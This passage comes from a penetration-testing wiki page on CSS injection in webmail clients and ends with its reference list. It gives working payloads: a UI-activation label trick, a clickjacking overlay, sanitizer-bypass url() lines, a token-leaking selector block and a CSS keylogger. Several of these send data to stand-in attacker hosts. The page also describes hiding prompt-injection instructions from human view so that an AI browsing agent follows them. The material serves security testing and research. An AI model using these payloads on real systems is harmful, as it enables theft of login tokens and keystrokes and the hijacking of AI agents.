    837 ### Webmail CSS injection: trust-boundary abuse
    838 
    839 When attacker-controlled HTML/CSS is rendered inside a trusted webmail UI, look beyond classic secret exfiltration and test whether the sanitizer preserved interactive elements. A retained `<label for="...">` can activate any labelable control whose `id` lives outside the untrusted subtree, so clicking inside the email can open ribbons, focus inputs, toggle checkboxes, or trigger existing application actions. A quick recon query for candidate targets is `document.querySelectorAll('input[id],button[id],select[id],textarea[id]')`.<sup>[[23]](#references)</sup>
    840 
    841 A minimal label-based UI activation payload looks like this:<sup>[[23]](#references)</sup>
    842 
    843 ```html
    844 <label for="RibbonModeToggle">Open UI</label>
    845 <label for="548">Pin this message</label>
    846 ```
    847 
    848 If you get arbitrary CSS, pseudo-elements can also become a **CSS-only clickjacking** primitive. A fullscreen `:before` / `:after` attached to a trusted action inherits that element's click handler, so clicking anywhere on the page activates the underlying control. Chaining several overlays with increasing `z-index` can force multi-step workflows. See also [Clickjacking](/hacktricks/pentesting-web/clickjacking).<sup>[[23]](#references)</sup>
    849 
    850 ```css
    851 .target:before {
    852   position: fixed;
    853   width: 100%;
    854   height: 100%;
    855   content: " ";
    856   z-index: 10000000;
    857 }
    858 ```
    859 
    860 ### Sanitizer differentials, image-proxy bypasses, and CSSOM mutation
    861 
    862 In email/webmail targets, do not model CSS as passive styling. Useful request-capable sinks include `url()`, `image-set()`, `-webkit-image-set()`, `@import`, and even legacy `sourceMappingURL` comments. Sanitizers often miss parser differentials such as adjacent functions (`calc(...)url(...)`), comments inside unquoted `url(...)`, escapes between slashes (`url(/\0a/evil)` / `url(/\D/evil)`), or unresolved custom-property fallbacks. In practice these bugs can bypass image proxies or CSP allowlists and turn "remote images blocked" back into direct attacker-observable requests. See also [CSP bypass](/hacktricks/pentesting-web/content-security-policy-csp-bypass/overview).<sup>[[23]](#references)</sup>
    863 
    864 ```css
    865 background:image-set(var(--x,'//attacker.tld/open'));
    866 content:url(/\5c/user.fm/uid.fastmail.com/track);
    867 ```
    868 
    869 If the target sanitizes **CSSOM output** instead of the original source, diff the raw stylesheet against serialized fields such as keyframe names and `mediaText`. Escaped bytes that looked harmless before validation can decode into `}`, `*`, `:`, or full declarations during serialization, escaping selector prefixing and reaching trusted UI. Also audit post-sanitization JavaScript that consumes allowed `data-*` attributes: if trusted code appends new elements or styles with forbidden declarations such as `position:fixed`, you have a **CSS gadget** that can be combined with allowed properties plus `!important` to break out of the message pane.<sup>[[23]](#references)</sup>
    870 
    871 ### Clipboard races and compact token exfiltration
    872 
    873 If the target pastes HTML into a `contenteditable` editor, test whether inline CSS becomes active **before** sanitization completes. A quick probe is to copy `<style>*{color:red}</style>` as HTML and paste it into the composer; a brief flash confirms a race. Once CSS wins the race, nested attribute selectors can recover structured secrets from existing draft content with much less payload than a full brute force: anchor 5 hex characters at the start (`en=<hex5>`) and 5 at the end (`<hex5>&o`), then test arbitrary 5-character chunks anywhere else in the URL and reconstruct the two middle characters server-side from 4-character overlaps. This is practical against 12-character hex login tokens embedded inside longer attributes.<sup>[[23]](#references)</sup>
    874 
    875 ```css
    876 a[href^="https://target/?token="] {
    877   &[href*="en=c2e16"] { background:url(//attacker/s/c2e16); }
    878   &[href*="a1781&o"] { background:url(//attacker/e/a1781); }
    879   &[href*="2e167"] { background:url(//attacker/m/2e167); }
    880 }
    881 ```
    882 
    883 ### CSS-only keylogging, CSP-resistant text leaks, and AI rendering disparity
    884 
    885 `input[value$=...]` keyloggers usually fail because typing changes the DOM **property**, not the HTML **attribute**. A more reliable HTML-only primitive is a styled `select`: keyboard input changes the selected `option`, which can be detected with `:checked`, `:has()`, or adjacent-sibling chains such as `option+option:checked`. Each position can trigger a different request, and the control can be disguised with `appearance:none` and `-webkit-text-security:disc`. In Firefox, moving the focused `select` off-screen and back with a sub-millisecond animation resets incremental-search state and enables near real-time keystroke capture.<sup>[[23]](#references)</sup>
    886 
    887 ```css
    888 option+option:checked { background:url(https://attacker/?k=a); }
    889 option+option+option:checked { background:url(https://attacker/?k=b); }
    890 select { appearance:none; -webkit-text-security:disc; }
    891 ```
    892 
    893 When automatic outbound requests are blocked, another option is to use digit-specific `@font-face` rules plus altered font metrics to count how many times each digit appears in a text node, then expose only the matching attacker-controlled link so the victim's **next click** performs the exfiltration. The same rendering discrepancies can also be chained with [indirect prompt injection](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/AI/AI-Prompts.md): humans may see benign CSS-generated text via `:before` / `:after`, while an AI agent still reads hidden HTML instructions and executes attacker-chosen browsing steps.<sup>[[23]](#references)</sup>
    894 
    895 PortSwigger published a companion materials repository with standalone PoCs for several of these chains.<sup>[[24]](#references)</sup>
    896 
    897 ## References
    898 
    899 - [1] [LINE CTF 2022 - CSS/XS-Leak writeup (gist)](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
    900 - [2] [Better Exfiltration via HTML Injection (d0nut)](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
    901 - [3] [Exfiltration via CSS Injection](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
    902 - [4] [CSS Injection Primitives (Doomsday Vault)](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
    903 - [5] [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
    904 - [6] [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
    905 - [7] [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
    906 - [8] [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
    907 - [9] [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
    908 - [10] [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
    909 - [11] [Blind CSS Exfiltration (PortSwigger)](https://portswigger.net/research/blind-css-exfiltration)
    910 - [12] [CSS Injection Attacks - slides (Pepe Vila)](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf)
    911 - [13] [Pepe Vila's @import CSS exfiltration PoC (gist)](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231)
    912 - [14] [CSS based Attack: Abusing unicode-range of @font-face (Masato Kinugawa)](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)
    913 - [15] [Error-Based XS-Search PoC (@terjanq)](https://twitter.com/terjanq/status/1180477124861407234)
    914 - [16] [New technique of stealing data using CSS and Scroll-to-Text Fragment (SECFORCE)](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
    915 - [17] [Wykradanie danych w świetnym stylu (Michał Bentkowski, sekurak)](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
    916 - [18] [PoC: leaking the charset with a default font (Cgvwzq & Terjanq)](https://demo.vwzq.net/css2.html)
    917 - [19] [What can we do with single CSS injection? (Slackers thread)](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)
    918 - [20] [justCTF 2022 write-up (Huli's blog)](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
    919 - [21] [bi0sCTF 2022 - Emo-Locker writeup](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)
    920 - [22] [Gist by d0nutptr](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
    921 - [23] [CSS: The Bomb Inside Your Inbox (PortSwigger)](https://portswigger.net/research/css-the-bomb-inside-your-inbox)
    922 - [24] [PortSwigger materials repo: css-the-bomb-inside-your-inbox](https://github.com/portswigger/css-the-bomb-inside-your-inbox)